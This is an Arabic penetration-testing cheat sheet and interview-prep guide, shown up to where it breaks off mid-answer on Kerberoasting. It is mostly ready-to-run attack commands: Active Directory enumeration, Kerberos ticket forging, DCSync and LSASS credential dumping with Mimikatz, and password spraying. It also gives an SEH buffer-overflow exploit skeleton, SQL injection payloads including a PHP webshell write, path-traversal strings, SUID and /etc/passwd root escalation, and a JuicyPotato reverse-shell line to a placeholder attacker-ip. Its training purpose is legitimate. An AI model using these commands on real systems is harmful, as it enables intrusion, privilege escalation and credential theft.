#حصر Active Directory
PowerView — حصر AD:
# Import PowerView
Import-Module .\PowerView.ps1
# Domain information
Get-Domain
Get-DomainController
Get-DomainPolicy
# User enumeration
Get-DomainUser
Get-DomainUser -Identity username
Get-DomainUser -Properties samaccountname,description
# Find users with SPN (Kerberoastable)
Get-DomainUser -SPN
# Group enumeration
Get-DomainGroup
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins"
# Computer enumeration
Get-DomainComputer
Get-DomainComputer -Properties name,operatingsystem
# Share enumeration
Invoke-ShareFinder
Find-DomainShare
# ACL enumeration
Get-ObjectAcl -Identity username
Find-InterestingDomainAcl
# GPO enumeration
Get-DomainGPO
Get-DomainGPOLocalGroup
# Trust enumeration
Get-DomainTrust
Get-DomainTrustMapping
BloodHound — تحليل مسارات الهجوم في AD:
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All,GPOLocalGroup
# Or with BloodHound Python
bloodhound-python -u username -p password -ns dc-ip -d domain.local -c All
# Start neo4j database
sudo neo4j console
# Start BloodHound
bloodhound
# Import collected data (zip file)
# Use pre-built queries to find attack paths:
# - Find all Domain Admins
# - Find shortest paths to Domain Admins
# - Find principals with DCSync rights
# - Find computers where Domain Users can RDP
# - Find AS-REP Roastable users
حصر LDAP:
# ldapsearch
ldapsearch -x -h dc-ip -D "username@domain.local" -w password -b "DC=domain,DC=local"
# Enumerate users
ldapsearch -x -h dc-ip -D "username@domain.local" -w password -b "DC=domain,DC=local" "(objectClass=user)"
# Enumerate groups
ldapsearch -x -h dc-ip -D "username@domain.local" -w password -b "DC=domain,DC=local" "(objectClass=group)"
# windapsearch
python3 windapsearch.py -d domain.local --dc-ip dc-ip -u username -p password --users
python3 windapsearch.py -d domain.local --dc-ip dc-ip -u username -p password --groups
#هجمات Kerberos
AS-REP Roasting:
- يستهدف الحسابات التي تم تفعيل خيار Do not require Kerberos preauthentication لها.
- يتم طلب AS-REP دون إجراء Preauthentication، ثم اختبار قوة كلمة المرور بصورة Offline من البيانات التي يتم الحصول عليها.
# Impacket GetNPUsers
GetNPUsers.py domain.local/ -dc-ip dc-ip -usersfile users.txt -format hashcat
# With credentials
GetNPUsers.py domain.local/username:password -dc-ip dc-ip -request
# Crack with Hashcat
hashcat -m 18200 asrep-hashes.txt /usr/share/wordlists/rockyou.txt
# From Windows with Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep-hashes.txt
Kerberoasting:
- طلب Service Tickets للحسابات التي تملك SPNs.
- اختبار كلمات مرور حسابات الخدمات Offline باستخدام بيانات التذاكر التي تم الحصول عليها.
# Impacket GetUserSPNs
GetUserSPNs.py domain.local/username:password -dc-ip dc-ip -request
# Save hashes
GetUserSPNs.py domain.local/username:password -dc-ip dc-ip -request -outputfile kerberoast-hashes.txt
# Crack with Hashcat
hashcat -m 13100 kerberoast-hashes.txt /usr/share/wordlists/rockyou.txt
# From Windows with Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoast-hashes.txt
# With PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat
Pass-the-Ticket (PtT):
- استخراج تذاكر Kerberos من الذاكرة.
- حقن التذاكر لاستخدام هوية المستخدم المرتبطة بها في بيئة الاختبار.
# Export tickets with Mimikatz
mimikatz # sekurlsa::tickets /export
# Inject ticket
mimikatz # kerberos::ptt ticket.kirbi
# From Linux with Impacket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py domain.local/username@target-hostname -k -no-pass
# With Rubeus
.\Rubeus.exe dump /luid:0x123456 /service:krbtgt
.\Rubeus.exe ptt /ticket:base64-ticket
Silver Ticket:
- إنشاء Service Ticket مزور باستخدام NTLM Hash الخاص بحساب الخدمة.
- يتيح الوصول إلى خدمة محددة دون الحاجة إلى الاتصال بـ Domain Controller عند استخدامه بنجاح.
# Create silver ticket with Mimikatz
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:target.domain.local /service:cifs /rc4:ntlmhash /user:fakeuser /ptt
# With Impacket
ticketer.py -nthash ntlmhash -domain-sid S-1-5-21-... -domain domain.local -spn cifs/target.domain.local fakeuser
export KRB5CCNAME=fakeuser.ccache
psexec.py domain.local/fakeuser@target.domain.local -k -no-pass
Golden Ticket:
- إنشاء TGT مزور باستخدام Hash الخاص بحساب
krbtgt. - يمثل سيناريو شديد الأثر لأنه قد يتيح وصولاً واسعاً على مستوى النطاق.
# Create golden ticket with Mimikatz
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-... /rc4:krbtgt-ntlmhash /user:Administrator /ptt
# With Impacket
secretsdump.py domain.local/administrator@dc-ip # Get krbtgt hash
ticketer.py -nthash krbtgt-hash -domain-sid S-1-5-21-... -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py domain.local/Administrator@target.domain.local -k -no-pass
#استخراج بيانات الاعتماد
هجوم DCSync:
- محاكاة عملية Replication للحصول على بيانات اعتماد من Domain Controller.
- يتطلب صلاحيات مثل Replicating Directory Changes المناسبة.
# Impacket secretsdump
secretsdump.py domain.local/username:password@dc-ip
# Dump specific user
secretsdump.py domain.local/username:password@dc-ip -just-dc-user Administrator
# From Windows with Mimikatz
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
Password Spraying:
# CrackMapExec password spray
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success
# With Kerbrute
kerbrute passwordspray -d domain.local --dc dc-ip users.txt 'Password123!'
# RDP spray
crowbar -b rdp -s 192.168.1.0/24 -u users.txt -C passwords.txt
# From Windows
.\DomainPasswordSpray.ps1 -Password 'Password123!' -OutFile results.txt
#💻 11. استغلال Buffer Overflow
#Fuzzing لبرامج Windows
منهجية Fuzzing:
- تحديد قنوات الإدخال، مثل الشبكة أو الملفات أو مدخلات المستخدم.
- إنشاء سكربت Fuzzing يزيد حجم الحمولة تدريجياً.
- مراقبة التطبيق بحثاً عن حالات Crash.
- تسجيل حجم الحمولة الذي تسبب في الانهيار.
- تطوير الاستغلال بناءً على نتيجة التحليل.
مثال أساسي على Fuzzer:
#!/usr/bin/python3
import socket
import sys
# Target configuration
target_ip = "192.168.1.100"
target_port = 9999
# Create incrementing buffer
buffer = "A" * 100
while True:
try:
print(f"[*] Sending{len(buffer)} bytes")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(bytes(buffer, "latin-1"))
s.close()
buffer = buffer + "A" * 100
except:
print(f"[!] Crashed at{len(buffer)} bytes")
sys.exit(0)
#تجاوز SEH (Structured Exception Handler)
خطوات استغلال SEH:
- استخدام Fuzzing للوصول إلى Crash.
- التحكم في EIP أو سلسلة SEH.
- تحديد Offset الخاص بـ SEH Handler.
- العثور على POP POP RET Gadget مناسب.
- إنشاء Short Jump إلى Shellcode.
- إضافة Shellcode وإكمال Buffer.
مثال على استغلال SEH (EasyChat):
#!/usr/bin/python3
import socket
target_ip = "192.168.1.100"
target_port = 80
# msfvenom shellcode
shellcode = b"SHELLCODE_HERE"
# POP POP RET address (from non-ASLR module)
seh_overwrite = b"\xeb\x06\x90\x90" # Short jump + NOPs
next_seh = b"\x12\x34\x56\x78" # Address of POP POP RET
# Build exploit buffer
offset = 2000
buffer = b"A" * offset
buffer += seh_overwrite
buffer += next_seh
buffer += b"\x90" * 20 # NOP sled
buffer += shellcode
buffer += b"C" * (5000 - len(buffer))
# Send exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(buffer)
s.close()
البحث عن POP POP RET باستخدام mona:
# In Immunity Debugger
!mona seh -m module.dll
!mona seh -cp nonull -cm safeseh=off
#🎮 12. القيادة والتحكم (C2)
#بروتوكول C2 مخصص
T1094: Custom Command & Control Protocol:
- تطوير بروتوكول مخصص قد يقلل من قابلية الاكتشاف في بيئة الاختبار.
- استخدام منافذ أو بروتوكولات غير معتادة.
- تطبيق التشفير على الاتصالات.
- محاكاة أنماط حركة مرور مشروعة.
مفاهيم C2 الأساسية:
- Beacon Interval: معدل تواصل Agent مع خادم C2.
- Jitter: إضافة عشوائية إلى الفواصل الزمنية لتقليل الأنماط الثابتة.
- Encryption: حماية اتصالات C2 بالتشفير.
- Domain Fronting: إخفاء وجهة C2 خلف بنية CDN في السيناريوهات التي تسمح بذلك.
#Armitage — التعاون ضمن الفريق
خصائص Armitage:
- واجهة رسومية لـ Metasploit Framework.
- إمكانات تعاون بين أعضاء الفريق.
- عرض الشبكة والأجهزة التي تم الوصول إليها بصرياً.
- أتمتة بعض عمليات الاستغلال.
استخدام Armitage:
# Start PostgreSQL
sudo systemctl start postgresql
# Initialize Metasploit database
sudo msfdb init
# Start Armitage
armitage
سير العمل في Armitage:
- إضافة الأهداف من
Hosts → Add Hosts. - تنفيذ فحص Nmap من
Hosts → Nmap Scan. - تحليل الثغرات المكتشفة.
- النقر بزر الفأرة الأيمن على الهدف ثم
Attack → Select exploit. - التفاعل مع الجلسات التي تم فتحها.
- استخدام Hail Mary للاستغلال الآلي عند الحاجة وضمن المختبر.
#📊 ملخص الأدوات
#الاستطلاع والفحص
- Nmap: فحص الشبكة وحصر الخدمات.
- Masscan: ماسح منافذ سريع.
- Gobuster: حصر المجلدات وDNS.
- Nikto: فحص ثغرات وإعدادات خوادم الويب.
- Burp Suite: اختبار تطبيقات الويب.
- enum4linux: حصر SMB.
- nbtscan: فحص NetBIOS.
- snmpwalk: حصر SNMP.
#الاستغلال
- Metasploit: إطار عمل للاستغلال.
- SearchSploit: البحث في قاعدة بيانات الاستغلالات.
- SQLMap: أتمتة اختبار SQL Injection.
- BeEF: اختبار واستغلال المتصفحات.
- Social Engineer Toolkit (SET): أدوات التصيد والهندسة الاجتماعية.
#ما بعد الاستغلال
- Mimikatz: استخراج بيانات الاعتماد.
- BloodHound: تحليل مسارات الهجوم في Active Directory.
- PowerView: حصر Active Directory.
- Rubeus: اختبار إساءة استخدام Kerberos.
- Impacket: تطبيقات وأدوات بروتوكولات الشبكة.
- PrivescCheck: حصر مسارات تصعيد الصلاحيات في Windows.
- LinPEAS/WinPEAS: حصر مسارات تصعيد الصلاحيات.
#الحركة الجانبية
- CrackMapExec: اختبار المصادقة والخدمات عبر الشبكة.
- Evil-WinRM: جلسة WinRM.
- PSExec/SMBExec/WMIExec: تنفيذ أوامر عن بُعد.
- xfreerdp: عميل RDP.
#Pivoting
- Chisel: Tunneling سريع عبر TCP/UDP.
- Ligolo-ng: Tunneling متقدم.
- SSH: إنشاء الأنفاق وSOCKS Proxy.
- Proxychains: تمرير حركة الأدوات عبر Proxy.
#هجمات بيانات الاعتماد
- Hashcat: كسر كلمات المرور والـ hashes.
- John the Ripper: كسر كلمات المرور.
- Hydra: اختبار التخمين Online.
- Responder: اختبار LLMNR/NBT-NS Poisoning.
- ntlmrelayx: اختبار SMB Relay.
#🎯 منهجية اختبار الاختراق
#سير العمل القياسي للمهمة
- ما قبل المهمة (Pre-Engagement):
- تحديد النطاق (Scope).
- تحديد قواعد الاشتباك (Rules of Engagement).
- تجهيز وثائق التفويض.
- تحديد قنوات التواصل.
- جمع المعلومات:
- استطلاع سلبي (OSINT).
- استطلاع نشط عبر الفحص.
- حصر الخدمات.
- تحديد الثغرات المحتملة.
- تقييم الثغرات:
- التحقق من الثغرات المكتشفة.
- ترتيبها حسب المخاطر والأثر.
- توثيق النتائج.
- الاستغلال:
- تطوير أو اختيار الاستغلال المناسب.
- الحصول على وصول أولي.
- توثيق الاستغلالات الناجحة.
- الحفاظ على الوصول بالقدر المطلوب للاختبار.
- ما بعد الاستغلال:
- حصر النظام المحلي.
- تصعيد الصلاحيات.
- جمع بيانات الاعتماد.
- تنفيذ الحركة الجانبية عند الحاجة.
- اختبار إخراج البيانات إذا كان ذلك مصرحاً به.
- إعداد التقرير:
- ملخص تنفيذي.
- نتائج تقنية.
- توصيات المعالجة.
- الأدلة ولقطات الشاشة.
- التنظيف:
- إزالة أي Backdoors تم إنشاؤها للاختبار.
- حذف الملفات التي تم رفعها.
- استعادة الإعدادات التي تم تعديلها.
#❓ أسئلة الاستعداد للمقابلات
#اختبار الاختراق — أسئلة عامة
-
س1: ما الفرق بين Vulnerability Assessment وPenetration Test؟
الإجابة: تقييم الثغرات (Vulnerability Assessment) هو عملية آلية أو شبه آلية تهدف إلى اكتشاف الثغرات وتصنيفها داخل النظام. عادةً يقدم قائمة بنقاط الضعف المحتملة دون محاولة استغلالها فعلياً. أما اختبار الاختراق (Penetration Test) فيذهب إلى مرحلة أبعد، إذ يتحقق عملياً من قابلية استغلال الثغرات لتحديد الأثر الحقيقي وإظهار مدى التقدم الذي قد يستطيع مهاجم الوصول إليه داخل البيئة. قد يتضمن اختبار الاختراق استغلالاً يدوياً، وتصعيداً للصلاحيات، وحركة جانبية، وتحقيق أهداف محددة مثل الوصول إلى بيانات حساسة، وكل ذلك ضمن نطاق مصرح به.
-
س2: اشرح منهجية اختبار الاختراق التي تتبعها.
الإجابة: أتبع منهجية منظمة تتكون من المراحل التالية:
- Pre-Engagement: تحديد النطاق، وقواعد الاشتباك، والحصول على التفويض.
- Information Gathering: الاستطلاع السلبي والنشط، وOSINT، وفحص المنافذ، وحصر الخدمات.
- Vulnerability Assessment: اكتشاف الثغرات وترتيب أولوياتها.
- Exploitation: محاولة استغلال الثغرات التي تم التحقق منها للحصول على وصول.
- Post-Exploitation: تصعيد الصلاحيات، والحركة الجانبية، وجمع بيانات الاعتماد، واختبار الاستمرارية إذا كانت ضمن النطاق.
- Reporting: توثيق النتائج وتقديم توصيات للمعالجة.
- Cleanup: إزالة آثار الاختبار واستعادة الأنظمة إلى حالتها المناسبة.
طوال العملية أحافظ على ملاحظات تفصيلية وأجمع الأدلة ولقطات الشاشة اللازمة لإثبات النتائج.
-
س3: ما الفروق الأساسية بين White Box وGray Box وBlack Box Testing؟
الإجابة:
- Black Box: اختبار دون معرفة مسبقة بالهدف. يحاكي منظور مهاجم خارجي لا يملك معلومات داخلية.
- Gray Box: اختبار بمعرفة جزئية، مثل امتلاك بيانات اعتماد لمستخدم أو مخطط للشبكة. قد يحاكي مستخدماً داخلياً أو حساباً تم اختراقه.
- White Box: اختبار بمعرفة كاملة، بما في ذلك Source Code ومخططات المعمارية وبيانات الاعتماد. يسمح عادةً بأكثر تقييم شامل وباكتشاف أكبر عدد من نقاط الضعف.
#حصر الشبكات والخدمات
-
س4: كيف تقوم بحصر شبكة مستهدفة أثناء اختبار اختراق؟
الإجابة: أتبع عادةً هذا التسلسل:
- Host Discovery: استخدام
nmap -snلتحديد الأجهزة الحية. - Port Scanning: فحص منافذ TCP وUDP باستخدام خيارات مثل
nmap -p-و-sUبحسب النطاق. - Service Detection: استخدام
nmap -sVلتحديد الخدمات وإصداراتها. - OS Detection: استخدام
nmap -Oلتخمين نظام التشغيل. - Script Scanning: تشغيل NSE Scripts مثل
nmap --script=vulnللتحقق من مؤشرات الثغرات. - Service-Specific Enumeration:
- SMB:
enum4linuxوsmbclientوcrackmapexec. - HTTP:
niktoوgobusterوBurp Suite. - SNMP:
snmpwalkوonesixtyone. - DNS:
digوdnsenum.
- SMB:
- Vulnerability Research: مقارنة الإصدارات مع SearchSploit وقواعد بيانات CVE العامة.
- Host Discovery: استخدام
-
س5: اشرح كيف تختبر قابلية استغلال خدمة SMB.
الإجابة: يعتمد اختبار SMB على الإصدار والإعدادات الموجودة:
- الحصر (Enumeration):
- التحقق من Null Sessions:
smbclient -L //target -N. - حصر المستخدمين:
enum4linux -U target. - التحقق من المشاركات:
crackmapexec smb target --shares.
- التحقق من Null Sessions:
- استغلالات مرتبطة بالإصدار:
- SMBv1: التحقق من التعرض لـ EternalBlue (MS17-010) في الأنظمة المتأثرة.
- SMBv3: التحقق من SMBGhost (CVE-2020-0796) إذا كان الإصدار مناسباً.
- هجمات تعتمد على بيانات الاعتماد:
- Password Spraying باستخدام CrackMapExec.
- Pass-the-Hash.
- SMB Relay باستخدام
ntlmrelayx.
- ما بعد الوصول:
- استخدام
psexecأوsmbexecأوwmiexecللحركة الجانبية. - استخراج SAM باستخدام
crackmapexec --samعندما تسمح الصلاحيات بذلك.
- استخدام
- الحصر (Enumeration):
-
س6: ما هو SNMP وكيف يمكن إساءة إعداداته؟
الإجابة: بروتوكول SNMP (Simple Network Management Protocol) يستخدم لإدارة أجهزة الشبكة، ويعمل عادة على UDP/161. في الإصدارات القديمة أو الإعدادات الضعيفة قد تُستخدم Community Strings كوسيلة وصول.
طرق التقييم:
- Enumeration: استخدام
snmpwalkلاسترجاع معلومات MIB. - Default Credentials: اختبار Community Strings الافتراضية مثل
publicللقراءة وprivateللكتابة إذا كان ذلك ضمن النطاق. - Information Disclosure: مراجعة معلومات النظام والعمليات والبرامج المثبتة وإعدادات الشبكة المكشوفة.
- Write Access: إذا كانت Community String بصلاحية كتابة متاحة، يتم تقييم أثر إمكانية تعديل إعدادات الجهاز ضمن المختبر.
الأوامر:
snmpwalk -v2c -c public targetonesixtyone -c community.txt targetnmap --script snmp-brute target
معلومات حساسة قد يتم الحصول عليها:
- تفاصيل النظام.
- حسابات المستخدمين.
- العمليات الجارية.
- واجهات الشبكة.
- البرامج المثبتة.
- Enumeration: استخدام
#أمن تطبيقات الويب
-
س7: اشرح أنواع XSS المختلفة وكيف يتم اختبارها.
الإجابة: توجد ثلاثة أنواع رئيسية من XSS:
- Reflected XSS:
- تنعكس الحمولة مباشرة في الاستجابة.
- لا يتم تخزينها على الخادم.
- غالباً يتطلب السيناريو أن يفتح المستخدم رابطاً يحتوي على المدخل الخبيث.
- مثال:
http://target.com/search?q=<script>alert(1)</script>.
- Stored XSS:
- تُخزن الحمولة داخل قاعدة البيانات أو مصدر بيانات دائم.
- تُنفذ عندما يعرض مستخدمون آخرون الصفحة المتأثرة.
- قد يكون أثرها أكبر لأنها تستطيع التأثير في عدة مستخدمين.
- مثال: حقل تعليقات يخزن JavaScript غير مُعالج بصورة آمنة.
- DOM-Based XSS:
- تحدث بالكامل على جهة العميل.
- يستخدم JavaScript مدخلات غير موثوقة لتعديل DOM بطريقة غير آمنة.
- يتم البحث عن Sinks خطرة مثل
innerHTMLوdocument.writeوeval(). - مثال:
#<img src=x onerror=alert(1)>.
الأثر المحتمل:
- سرقة Cookies إذا لم تكن محمية بالخصائص المناسبة.
- اختطاف الجلسات.
- تسجيل ضغطات المفاتيح.
- تنفيذ سيناريوهات تصيد.
- توزيع ملفات أو محتوى ضار.
- Reflected XSS:
-
س8: اشرح خطوات استغلال ثغرة SQL Injection.
الإجابة: تسلسل اختبار SQL Injection يكون كالتالي:
- التحديد (Identification):
- الاختبار بعلامة الاقتباس المفردة (
') أو المزدوجة ("). - مراقبة رسائل الخطأ أو تغير سلوك التطبيق.
- استخدام اختبارات منطقية مثل
1' AND '1'='1مقابل1' AND '1'='2.
- الاختبار بعلامة الاقتباس المفردة (
- تحديد نوع الحقن:
- Union-Based: دمج استعلامات لاستخراج البيانات.
- Boolean-Based Blind: استنتاج البيانات من استجابات True/False.
- Time-Based Blind: استخدام
SLEEP()أوWAITFOR DELAY. - Error-Based: استخراج المعلومات من رسائل الخطأ.
- Union-Based Exploitation:
- تحديد عدد الأعمدة:
ORDER BY n--. - اختبار UNION:
UNION SELECT NULL,NULL,NULL--. - استخراج أسماء قواعد البيانات:
UNION SELECT schema_name FROM information_schema.schemata--. - استخراج أسماء الجداول:
UNION SELECT table_name FROM information_schema.tables WHERE table_schema='database'--. - استخراج أسماء الأعمدة:
UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--. - استخراج البيانات:
UNION SELECT username,password FROM users--.
- تحديد عدد الأعمدة:
- استغلال متقدم:
- قراءة الملفات:
UNION SELECT LOAD_FILE('/etc/passwd')--. - كتابة الملفات:
UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--. - تنفيذ أوامر نظام في MSSQL عند توفر الصلاحيات:
EXEC xp_cmdshell 'whoami'--.
- قراءة الملفات:
- التحديد (Identification):
-
س9: كيف تحدد وتختبر ثغرات Directory Traversal؟
الإجابة: تسمح Directory Traversal بقراءة ملفات خارج Web Root أو المجلد المخصص إذا كان التطبيق لا يتحقق من المسار بصورة صحيحة.
التحديد:
- البحث عن معاملات مثل
file=أوpage=. - الاختبار باستخدام:
../../../etc/passwd. - تجربة URL Encoding:
..%2f..%2f..%2fetc%2fpasswd. - تجربة Double Encoding:
..%252f..%252f..%252fetc%252fpasswd.
تقنيات تجاوز شائعة:
- استخدام مسارات مطلقة مثل
/etc/passwd. - في Windows:
..\..\..\..\windows\system32\config\sam. - Null Byte Injection في الأنظمة القديمة:
../../../etc/passwd%00. - تجاوز الفلاتر التي تحذف Traversal Sequences باستخدام أنماط مثل
....//....//....//etc/passwd.
ملفات مهمة للاختبار داخل المختبر:
- Linux:
/etc/passwdو/etc/shadowو~/.ssh/id_rsaو/var/log/apache2/access.log. - Windows: ملفات إعداد ونظام حساسة بحسب صلاحيات الخدمة والمسار المتاح.
الأثر:
- كشف Source Code.
- الوصول إلى ملفات الإعداد.
- كشف بيانات اعتماد.
- في بعض السيناريوهات قد يتم دمجها مع Log Poisoning للوصول إلى RCE.
- البحث عن معاملات مثل
#استغلال Windows وتصعيد الصلاحيات
-
س10: ما المسارات الشائعة لتصعيد الصلاحيات في Windows؟
الإجابة: من أكثر تقنيات تصعيد الصلاحيات شيوعاً في Windows:
- أخطاء إعداد الخدمات (Service Misconfigurations):
- صلاحيات خدمات ضعيفة.
- Unquoted Service Paths.
- استبدال أو Hijacking لملف الخدمة التنفيذي.
- Scheduled Tasks:
- ملفات تنفيذية قابلة للكتابة مرتبطة بمهام مجدولة.
- مهام تعمل بصلاحيات SYSTEM.
- Registry Autoruns:
- مفاتيح AutoRun قابلة للكتابة.
- DLL Hijacking:
- DLLs مفقودة داخل مجلدات التطبيقات.
- استغلال ترتيب بحث Windows عن DLL.
- Token Impersonation:
- إساءة استخدام
SeImpersonatePrivilegeبأدوات مثل Juicy Potato أوRogue Potato. - إساءة استخدام
SeDebugPrivilegeفي بيئات ضعيفة الإعداد.
- إساءة استخدام
- جمع بيانات الاعتماد:
- كلمات مرور بنص واضح داخل الملفات أوRegistry.
- ملفات تثبيت غير تفاعلي مثل
unattend.xml. - بيانات اعتماد محفوظة في Credential Manager.
- PowerShell History.
- نسخ SAM/SYSTEM الاحتياطية.
- UAC Bypass:
- تقنيات UACMe.
- تعديل مفاتيح Registry مرتبطة بـ Fodhelper في الأنظمة المتأثرة.
- Kernel Exploits:
- استغلال ثغرات نظام تشغيل غير مصححة.
- يمكن استخدام أدوات مثل Watson أوSherlock للمساعدة في تحديد الترقيعات الناقصة.
- أخطاء إعداد الخدمات (Service Misconfigurations):
-
س11: اشرح استغلال SeImpersonatePrivilege.
الإجابة: تسمح
SeImpersonatePrivilegeللعملية بانتحال Tokens خاصة بمستخدمين آخرين، وقد تُستغل عبر أدوات مثل Juicy Potato أوبدائل مشابهة عندما تكون شروط النظام مناسبة.تسلسل الاختبار:
-
التحقق من الصلاحية:
whoami /privيتم البحث عن
SeImpersonatePrivilege: Enabled. -
تحديد إصدار Windows:
- Windows Server 2008 R2 - 2016: قد تكون Juicy Potato مناسبة في بعض السيناريوهات.
- Windows Server 2019 وWindows 10: قد تستخدم أدوات أخرى مثل Rogue Potato أوPrintSpoofer بحسب البيئة.
-
تشغيل Juicy Potato:
JuicyPotato.exe -l 1337 -p C:\windows\system32\cmd.exe -a "/c C:\tools\nc.exe attacker-ip 4444 -e cmd.exe" -t * -
تحديد CLSID عند الحاجة:
JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\output.txt" -t * -c {CLSID}
لماذا تعمل التقنية؟
- حسابات الخدمات تملك
SeImpersonatePrivilegeفي حالات كثيرة. - بعض تفاعلات COM يمكن توظيفها لإجبار النظام على إنشاء Token بصلاحيات أعلى.
- إذا تم الحصول على SYSTEM Token، يمكن انتحاله لتنفيذ أوامر بالسياق الأعلى.
أدوات بديلة:
- RoguePotato.
- PrintSpoofer.
- GodPotato.
-
-
س12: كيف يتم استخراج بيانات الاعتماد من نظام Windows؟
الإجابة: توجد عدة تقنيات بحسب الصلاحيات والسياق المتاح:
- Mimikatz من الذاكرة:
mimikatz # privilege::debugmimikatz # sekurlsa::logonpasswordsmimikatz # sekurlsa::tickets - قاعدة SAM:
reg save HKLM\SAM sam.hivreg save HKLM\SYSTEM system.hivsecretsdump.py -sam sam.hiv -system system.hiv LOCAL - تفريغ عملية LSASS:
procdump.exe -ma lsass.exe lsass.dmpmimikatz # sekurlsa::minidump lsass.dmpmimikatz # sekurlsa::logonpasswords - Metasploit:
run post/windows/gather/smart_hashdumphashdump - Credential Manager:
cmdkey /listvaultcmd /listcreds:"Windows Credentials" /all - DCSync على Domain Controller:
mimikatz # lsadump::dcsync /domain:domain.local /user:Administratorsecretsdump.py domain/admin@dc-ip - NTDS.dit على Domain Controller:
ntdsutil "activate instance ntds" "ifm" "create full C:\temp" quit quitsecretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
- Mimikatz من الذاكرة:
#استغلال Linux وتصعيد الصلاحيات
-
س13: ما المسارات الشائعة لتصعيد الصلاحيات في Linux؟
الإجابة: من أكثر المسارات شيوعاً:
- SUID/SGID Binaries:
- برامج SUID قابلة للاستغلال.
- تقنيات GTFOBins.
- برامج SUID مخصصة تحتوي على ثغرات.
- أخطاء إعداد Sudo:
- صلاحيات Sudo دون كلمة مرور.
- أوامر مسموح تشغيلها عبر Sudo ويمكن إساءة استخدامها.
- ثغرات في إصدارات Sudo مثل CVE-2019-14287 وCVE-2021-3156.
- Cron Jobs:
- سكربتات Cron قابلة للكتابة.
- Path Hijacking داخل Cron.
- Wildcard Injection.
- صلاحيات الملفات:
/etc/passwdأو/etc/shadowقابلان للكتابة بصورة غير آمنة./etc/shadowقابل للقراءة بما يسمح باختبار قوة كلمات المرور Offline.- ملفات خدمات قابلة للكتابة.
- Kernel Exploits:
- DirtyCOW (CVE-2016-5195).
- DirtyPipe (CVE-2022-0847).
- PwnKit (CVE-2021-4034).
- Path Hijacking:
- مجلدات قابلة للكتابة داخل PATH.
- برامج SUID تستدعي أوامر دون Full Path.
- Capabilities:
- Linux Capabilities قابلة للاستغلال مثل
cap_setuidوcap_dac_override.
- Linux Capabilities قابلة للاستغلال مثل
- NFS Shares:
- إعداد
no_root_squashبصورة غير آمنة. - تركيب المشاركة وإنشاء ملفات SUID في سيناريوهات الاختبار المناسبة.
- إعداد
- SUID/SGID Binaries:
-
س14: اشرح استغلال SUID Binaries لتصعيد الصلاحيات.
الإجابة: تعمل برامج SUID بصلاحيات مالك الملف، والذي يكون
rootفي كثير من حالات تصعيد الصلاحيات.العثور على SUID Binaries:
find / -perm -4000 -type f 2>/dev/nullطرق الاستغلال:
-
GTFOBins: مراجعة
https://gtfobins.github.io/لمعرفة طرق الاستغلال المرتبطة بالبرامج المعروفة. -
برامج شائعة يمكن استغلالها عند تفعيل SUID عليها:
- find:
find /home -exec /bin/bash -p \; - vim:
vim -c ':py import os; os.execl("/bin/bash", "bash", "-p")' - nmap (إصدارات قديمة):
nmap --interactiveثم!sh. - less:
less /etc/profileثم!/bin/bash. - python:
python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
- find:
-
SUID مخصص وضعيف:
- التحقق من Command Injection.
- Buffer Overflows.
- Path Hijacking.
-
مثال — Path Hijacking:
إذا كان SUID Binary يستدعي
lsدون المسار الكامل:cd /tmpecho '/bin/bash' > lschmod +x lsexport PATH=/tmp:$PATH/path/to/suid-binary
الحفاظ على Root Access داخل المختبر:
بعد الحصول على Root Shell عبر SUID:
cp /bin/bash /tmp/rootbashchmod +s /tmp/rootbash/tmp/rootbash -p -
-
س15: كيف يتم استغلال ملف
/etc/passwdإذا كان قابلاً للكتابة؟الإجابة: إذا كان
/etc/passwdقابلاً للكتابة من مستخدم غير مخول، يمكن إضافة حساب بمعرف UID يساوي0، وهو ما يمنحه صلاحيات root.الخطوات:
-
توليد Password Hash:
openssl passwd -1 -salt salt password123الناتج:
1salt$hash -
إضافة مستخدم Root إلى
/etc/passwd:echo 'hacker:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd -
التحول إلى المستخدم الجديد:
su hackerكلمة المرور:
password123 -
التحقق من Root Access:
idالناتج المتوقع:
uid=0(root) gid=0(root)
بديل دون كلمة مرور:
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwdsu hackerلماذا تعمل التقنية؟
- يحتوي
/etc/passwdعلى معلومات حسابات المستخدمين. - الصيغة:
username:password:UID:GID:comment:home:shell. - UID بقيمة
0يعني صلاحيات root. - حقل كلمة المرور قد يحتوي على Hash أو يكون فارغاً في بعض الإعدادات.
- في الأنظمة التي لا تعتمد على
/etc/shadowبالطريقة المعتادة قد يتم الرجوع مباشرة إلى/etc/passwdللمصادقة.
-
#هجمات Active Directory
-
س16: اشرح Kerberoasting وكيف يتم تنفيذه.
الإجابة: يهدف Kerberoasting إلى الحصول على Service Ticket المرتبط بحساب خدمة ثم اختبار قوة كلمة مرور ذلك الحساب Offline.
المفهوم:
- تملك حسابات الخدمات SPNs (Service Principal Names).
- يمكن لأي مستخدم Domain في العادة طلب Service Ticket للخدمات التي لديها SPN.
- يتم تشفير Service Ticket باستخدام مفتاح مشتق من كلمة مرور حساب الخدمة.
- يمكن بعد ذلك اختبار قوة كلمة المرور Offline.
التنفيذ على Linux:
GetUserSPNs.py domain.local/user:password -dc-ip dc-ip -requestGetUserSPNs.py domain.local/user:password -dc-ip dc-ip -request -outputfile hashes.txtالتنفيذ على Windows:
